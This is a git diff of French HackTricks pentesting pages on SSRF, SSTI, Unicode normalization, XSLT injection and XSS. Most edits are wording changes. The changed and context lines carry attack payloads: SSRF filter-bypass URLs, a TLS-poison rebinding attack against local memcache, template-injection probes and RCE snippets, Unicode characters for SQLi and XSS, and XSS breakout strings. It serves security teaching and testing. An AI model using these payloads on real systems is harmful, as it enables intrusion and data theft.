Lisez-en plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## Protocoles
|
||||
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
||||
4. connect
|
||||
```
|
||||
- **Curl URL globbing - contournement de WAF**
|
||||
- Si le SSRF est exécuté par **curl**, curl a une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAF. Par exemple, dans ce [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple pour un **path traversal via le protocole `file`** :
|
||||
- Si le SSRF est exécuté par **curl**, curl a une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAF. Par exemple, dans cette [**écriture**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple pour un **path traversal via le protocole `file`** :
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
@ -110,7 +110,7 @@ Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referre
|
||||
|
||||
## SSRF via SNI data from certificate
|
||||
|
||||
Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend à travers une configuration simple est illustrée avec un exemple de configuration Nginx :
|
||||
Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend à travers une configuration simple est illustrée par un exemple de configuration Nginx :
|
||||
```
|
||||
stream {
|
||||
server {
|
||||
@ -245,7 +245,7 @@ var_dump($response);
|
||||
```
|
||||
</details>
|
||||
|
||||
PHP permet l'utilisation du **caractère `*` avant une barre oblique dans le chemin** de l'URL, cependant, il a d'autres limitations comme le fait qu'il ne peut être utilisé que pour le chemin racine `/` et que les points `.` ne sont pas autorisés avant la première barre oblique, il est donc nécessaire d'utiliser une adresse IP encodée en hexadécimal sans point par exemple :
|
||||
PHP permet l'utilisation du **caractère `*` avant un slash dans le chemin** de l'URL, cependant, il a d'autres limitations comme le fait qu'il ne peut être utilisé que pour le chemin racine `/` et que les points `.` ne sont pas autorisés avant le premier slash, il est donc nécessaire d'utiliser une adresse IP encodée en hexadécimal sans point par exemple :
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -271,12 +271,12 @@ Exigences :
|
||||
|
||||
- **SSRF**
|
||||
- **Sessions TLS sortantes**
|
||||
- **Choses sur des ports locaux**
|
||||
- **Services sur des ports locaux**
|
||||
|
||||
Attaque :
|
||||
|
||||
1. Demander à l'utilisateur/bot d'**accéder** à un **domaine** contrôlé par l'**attaquant**
|
||||
2. Le **TTL** du **DNS** est de **0** sec (donc la victime vérifiera à nouveau l'IP du domaine bientôt)
|
||||
2. Le **TTL** du **DNS** est de **0** sec (donc la victime vérifiera bientôt l'IP du domaine à nouveau)
|
||||
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du ticket de session**.
|
||||
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. L'objectif est de faire en sorte que l'utilisateur/bot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **demande DNS** du domaine.
|
||||
5. Dans la demande DNS, une adresse **IP privée** est donnée **maintenant** (127.0.0.1 par exemple)
|
||||
@ -284,7 +284,7 @@ Attaque :
|
||||
|
||||
Notez que pendant cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
|
||||
Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
Pour **plus d'informations**, jetez un œil à la conférence où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||||
Pour **plus d'informations**, jetez un œil à la présentation où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||||
|
||||
## Blind SSRF
|
||||
|
||||
@ -292,7 +292,7 @@ La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF
|
||||
|
||||
### SSRF basé sur le temps
|
||||
|
||||
**Vérifier le temps** des réponses du serveur peut **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante qu'à une qui n'existe pas)
|
||||
**Vérifier le temps** des réponses du serveur peut **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante qu'à une ressource qui n'existe pas)
|
||||
|
||||
## Exploitation SSRF dans le Cloud
|
||||
|
||||
@ -304,7 +304,7 @@ cloud-ssrf.md
|
||||
|
||||
## Plateformes vulnérables à SSRF
|
||||
|
||||
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :
|
||||
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, consultez-les dans :
|
||||
|
||||
{{#ref}}
|
||||
ssrf-vulnerable-platforms.md
|
||||
@ -341,7 +341,9 @@ SSRF Proxy est un serveur proxy HTTP multi-threadé conçu pour tunneliser le tr
|
||||
|
||||
### Pour pratiquer
|
||||
|
||||
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||||
{{#ref}}
|
||||
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@ -159,13 +159,15 @@ L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des
|
||||
|
||||
Découvrez le [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) de portswigger où vous pouvez introduire l'hôte autorisé et celui de l'attaquant, et il générera une liste d'URLs à essayer pour vous. Il prend également en compte si vous pouvez utiliser l'URL dans un paramètre, dans un en-tête Host ou dans un en-tête CORS.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
Il se peut que le serveur **filtre la requête originale** d'un SSRF **mais pas** une possible **réponse de redirection** à cette requête.\
|
||||
Par exemple, un serveur vulnérable au SSRF via : `url=https://www.google.com/` pourrait être **en train de filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même à des **protocoles** filtrés comme gopher.\
|
||||
[Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
Il est possible que le serveur **filtre la requête originale** d'un SSRF **mais pas** une possible **réponse de redirection** à cette requête.\
|
||||
Par exemple, un serveur vulnérable au SSRF via : `url=https://www.google.com/` pourrait être **en train de filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même à des **protocoles filtrés** comme gopher.\
|
||||
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
@ -190,7 +192,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Astuce du backslash
|
||||
|
||||
L'_astuce du backslash_ exploite une différence entre le [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Alors que RFC3986 est un cadre général pour les URI, WHATWG est spécifique aux URL web et est adopté par les navigateurs modernes. La distinction clé réside dans la reconnaissance par la norme WHATWG du backslash (`\`) comme équivalent au slash (`/`), impactant la façon dont les URL sont analysées, marquant spécifiquement la transition du nom d'hôte au chemin dans une URL.
|
||||
L'_astuce du backslash_ exploite une différence entre le [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Alors que RFC3986 est un cadre général pour les URI, WHATWG est spécifique aux URL web et est adopté par les navigateurs modernes. La distinction clé réside dans la reconnaissance par la norme WHATWG du backslash (`\`) comme équivalent au slash (`/`), impactant la manière dont les URL sont analysées, marquant spécifiquement la transition du nom d'hôte au chemin dans une URL.
|
||||
|
||||
|
||||
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Qu'est-ce que SSTI (Injection de Template Côté Serveur)
|
||||
|
||||
L'injection de template côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un template qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja.
|
||||
@ -17,9 +16,9 @@ Par exemple, un attaquant pourrait créer une requête avec une charge utile com
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, pouvant potentiellement prendre le contrôle du serveur.
|
||||
Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, ce qui peut potentiellement lui donner le contrôle sur le serveur.
|
||||
|
||||
Pour prévenir les vulnérabilités d'injection de template côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement assainies et validées avant d'être insérées dans les templates. La mise en œuvre de la validation des entrées et l'utilisation de techniques d'échappement contextuelles peuvent aider à atténuer le risque de cette vulnérabilité.
|
||||
Pour prévenir les vulnérabilités d'injection de template côté serveur, les développeurs doivent s'assurer que les entrées des utilisateurs sont correctement assainies et validées avant d'être insérées dans les templates. La mise en œuvre de la validation des entrées et l'utilisation de techniques d'échappement contextuelles peuvent aider à atténuer le risque de cette vulnérabilité.
|
||||
|
||||
### Détection
|
||||
|
||||
@ -27,7 +26,7 @@ Pour détecter l'injection de template côté serveur (SSTI), au départ, **fuzz
|
||||
|
||||
- Erreurs lancées, révélant la vulnérabilité et potentiellement le moteur de template.
|
||||
- Absence du payload dans la réflexion, ou des parties manquantes, impliquant que le serveur le traite différemment des données régulières.
|
||||
- **Contexte en texte clair** : Distinguer de XSS en vérifiant si le serveur évalue les expressions de template (par exemple, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexte en texte brut** : Distinguer de XSS en vérifiant si le serveur évalue les expressions de template (par exemple, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexte de code** : Confirmer la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` retournant le nom d'utilisateur.
|
||||
|
||||
#### Phase d'identification
|
||||
@ -69,7 +68,7 @@ une table interactive contenant les polyglottes d'injection de modèle les plus
|
||||
|
||||
### Générique
|
||||
|
||||
Dans cette **liste de mots**, vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
|
||||
Dans cette **liste de mots** vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
@ -156,7 +155,7 @@ $out.read()
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
Dans Thymeleaf, un test courant pour les vulnérabilités SSTI est l'expression `${7*7}`, qui s'applique également à ce moteur de template. Pour une exécution de code à distance potentielle, des expressions comme celles-ci peuvent être utilisées :
|
||||
Dans Thymeleaf, un test courant pour les vulnérabilités SSTI est l'expression `${7*7}`, qui s'applique également à ce moteur de template. Pour une exécution de code à distance potentielle, des expressions comme les suivantes peuvent être utilisées :
|
||||
|
||||
- SpringEL :
|
||||
|
||||
@ -373,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
L'Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est largement utilisée dans plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
|
||||
Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est largement utilisée dans plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
|
||||
|
||||
- **JavaServer Faces (JSF)** : Utilise EL pour lier des composants dans les pages JSF aux données et actions backend correspondantes.
|
||||
- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de page aux données de l'application.
|
||||
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
|
||||
- Plus d'infos sur [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
### Smarty (PHP)
|
||||
@ -440,8 +437,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
- `{{7*7}} = 49`
|
||||
- `${7*7} = ${7*7}`
|
||||
- `{{7*'7'}} = 49`
|
||||
- `{{1/0}} = Erreur`
|
||||
- `{{foobar}} Rien`
|
||||
- `{{1/0}} = Error`
|
||||
- `{{foobar}} Nothing`
|
||||
```python
|
||||
#Get Info
|
||||
{{_self}} #(Ref. to current application)
|
||||
@ -486,7 +483,7 @@ array("first_name" => $user.first_name)
|
||||
|
||||
Plates est un moteur de templating natif à PHP, s'inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates utilise du code PHP natif dans les templates, ce qui le rend intuitif pour les développeurs PHP.
|
||||
|
||||
Contrôleur :
|
||||
Controller:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
@ -817,7 +814,7 @@ Consultez la page suivante pour apprendre des astuces sur **le contournement de
|
||||
|
||||
[Site officiel](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 est un moteur de template complet pour Python. Il a un support unicode complet, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.
|
||||
> Jinja2 est un moteur de template complet pour Python. Il a un support complet de l'unicode, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.
|
||||
|
||||
- `{{7*7}} = Erreur`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -936,14 +933,14 @@ La méthode .NET `System.Diagnostics.Process.Start` peut être utilisée pour d
|
||||
Même si c'est Perl, il utilise des balises comme ERB en Ruby.
|
||||
|
||||
- `<%= 7*7 %> = 49`
|
||||
- `<%= foobar %> = Error`
|
||||
- `<%= foobar %> = Erreur`
|
||||
```
|
||||
<%= perl code %>
|
||||
<% perl code %>
|
||||
```
|
||||
### SSTI en GO
|
||||
|
||||
Dans le moteur de template de Go, la confirmation de son utilisation peut être faite avec des payloads spécifiques :
|
||||
Dans le moteur de templates de Go, la confirmation de son utilisation peut être faite avec des payloads spécifiques :
|
||||
|
||||
- `{{ . }}` : Révèle la structure de données d'entrée. Par exemple, si un objet avec un attribut `Password` est passé, `{{ .Password }}` pourrait l'exposer.
|
||||
- `{{printf "%s" "ssti" }}` : Devrait afficher la chaîne "ssti".
|
||||
@ -953,7 +950,7 @@ Dans le moteur de template de Go, la confirmation de son utilisation peut être
|
||||
|
||||
**Exploitation XSS**
|
||||
|
||||
Avec le package `text/template`, l'XSS peut être simple en insérant le payload directement. En revanche, le package `html/template` encode la réponse pour prévenir cela (par exemple, `{{"<script>alert(1)</script>"}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de template en Go peuvent contourner cette encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Avec le package `text/template`, l'XSS peut être simple en insérant le payload directement. En revanche, le package `html/template` encode la réponse pour prévenir cela (par exemple, `{{"<script>alert(1)</script>"}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cette encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -997,7 +994,9 @@ Si vous pensez que cela pourrait être utile, lisez :
|
||||
|
||||
## Liste de Détection de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
## Pratique & Références
|
||||
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ceci est un résumé de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consultez le lien pour plus de détails (images prises de là).
|
||||
**Ceci est un résumé de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consultez-le pour plus de détails (images prises de là).
|
||||
|
||||
## Comprendre Unicode et Normalisation
|
||||
|
||||
La normalisation Unicode est un processus qui garantit que différentes représentations binaires de caractères sont standardisées à la même valeur binaire. Ce processus est crucial pour traiter des chaînes dans la programmation et le traitement des données. La norme Unicode définit deux types d'équivalence de caractères :
|
||||
|
||||
1. **Équivalence Canonique** : Les caractères sont considérés comme équivalents canoniquement s'ils ont la même apparence et le même sens lorsqu'ils sont imprimés ou affichés.
|
||||
1. **Équivalence Canonique** : Les caractères sont considérés comme équivalents canoniques s'ils ont la même apparence et signification lorsqu'ils sont imprimés ou affichés.
|
||||
2. **Équivalence de Compatibilité** : Une forme d'équivalence plus faible où les caractères peuvent représenter le même caractère abstrait mais peuvent être affichés différemment.
|
||||
|
||||
Il existe **quatre algorithmes de normalisation Unicode** : NFC, NFD, NFKC et NFKD. Chaque algorithme utilise les techniques de normalisation canonique et de compatibilité de manière différente. Pour une compréhension plus approfondie, vous pouvez explorer ces techniques sur [Unicode.org](https://unicode.org/).
|
||||
@ -43,11 +43,11 @@ Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9
|
||||
|
||||
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Ce web, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, il **normalise** l'entrée de l'utilisateur en utilisant **Unicode**.
|
||||
|
||||
Alors, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :
|
||||
Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :
|
||||
|
||||
.png>)
|
||||
|
||||
**Quelques caractères Unicode intéressants**
|
||||
**Certains caractères Unicode intéressants**
|
||||
|
||||
- `o` -- %e1%b4%bc
|
||||
- `r` -- %e1%b4%bf
|
||||
@ -75,7 +75,9 @@ Alors, un utilisateur malveillant pourrait insérer un caractère Unicode diffé
|
||||
```
|
||||
#### modèle sqlmap
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
{{#endref}}
|
||||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
@ -83,7 +85,7 @@ Vous pourriez utiliser l'un des caractères suivants pour tromper l'application
|
||||
|
||||
 (2).png>)
|
||||
|
||||
Notez que par exemple le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`
|
||||
Remarquez que, par exemple, le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
XSLT est une technologie utilisée pour transformer des documents XML en différents formats. Elle existe en trois versions : 1, 2 et 3, la version 1 étant la plus couramment utilisée. Le processus de transformation peut être exécuté soit sur le serveur, soit dans le navigateur.
|
||||
XSLT est une technologie utilisée pour transformer des documents XML en différents formats. Il existe trois versions : 1, 2 et 3, la version 1 étant la plus couramment utilisée. Le processus de transformation peut être exécuté soit sur le serveur, soit dans le navigateur.
|
||||
|
||||
Les frameworks les plus fréquemment utilisés incluent :
|
||||
|
||||
@ -280,7 +280,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Scan de port
|
||||
### Analyse de port
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||||
@ -369,12 +369,14 @@ version="1.0">
|
||||
```
|
||||
## Plus de Payloads
|
||||
|
||||
- Vérifiez [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
- Vérifiez [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
|
||||
## **Liste de Détection par Brute-Force**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
{{#endref}}
|
||||
|
||||
## **Références**
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
2. **Trouvez le contexte** où elle est réfléchie/utilisée.
|
||||
3. Si **réfléchi**
|
||||
1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez le payload :
|
||||
1. En **HTML brut** :
|
||||
1. Dans **HTML brut** :
|
||||
1. Pouvez-vous créer de nouvelles balises HTML ?
|
||||
2. Pouvez-vous utiliser des événements ou des attributs supportant le protocole `javascript:` ?
|
||||
3. Pouvez-vous contourner les protections ?
|
||||
@ -23,7 +23,7 @@
|
||||
3. Vos entrées sont-elles dans des littéraux de template \`\` ?
|
||||
4. Pouvez-vous contourner les protections ?
|
||||
4. Fonction Javascript **exécutée**
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex. : `?callback=alert(1)`
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. par exemple : `?callback=alert(1)`
|
||||
4. Si **utilisé** :
|
||||
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**
|
||||
|
||||
@ -48,16 +48,16 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi
|
||||
### HTML brut
|
||||
|
||||
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
De plus, gardez à l'esprit [Injection de Template Côté Client](../client-side-template-injection-csti.md).
|
||||
De plus, gardez à l'esprit [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### À l'intérieur des attributs de balises HTML
|
||||
|
||||
Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'une balise, vous pourriez essayer :
|
||||
|
||||
1. D'**échapper de l'attribut et de la balise** (alors vous serez dans le HTML brut) et de créer une nouvelle balise HTML à abuser : `"><img [...]`
|
||||
1. De **sortir de l'attribut et de la balise** (alors vous serez dans le HTML brut) et créer une nouvelle balise HTML à abuser : `"><img [...]`
|
||||
2. Si vous **pouvez échapper de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), selon la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
|
||||
3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie et **si vous contrôlez toute la valeur ou juste une partie**, vous serez en mesure de l'abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous serez en mesure de le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc de **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie **si vous contrôlez toute la valeur ou juste une partie**, vous serez en mesure de l'abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous serez en mesure de le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
|
||||
```html
|
||||
@ -69,12 +69,12 @@ Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
|
||||
|
||||
Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
|
||||
|
||||
- Si reflété entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise injectée `</script>` est à l'intérieur du code HTML.
|
||||
- Si reflété **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
|
||||
- Si elle est reflétée entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
|
||||
- Si elle est reflétée **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Si reflété à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
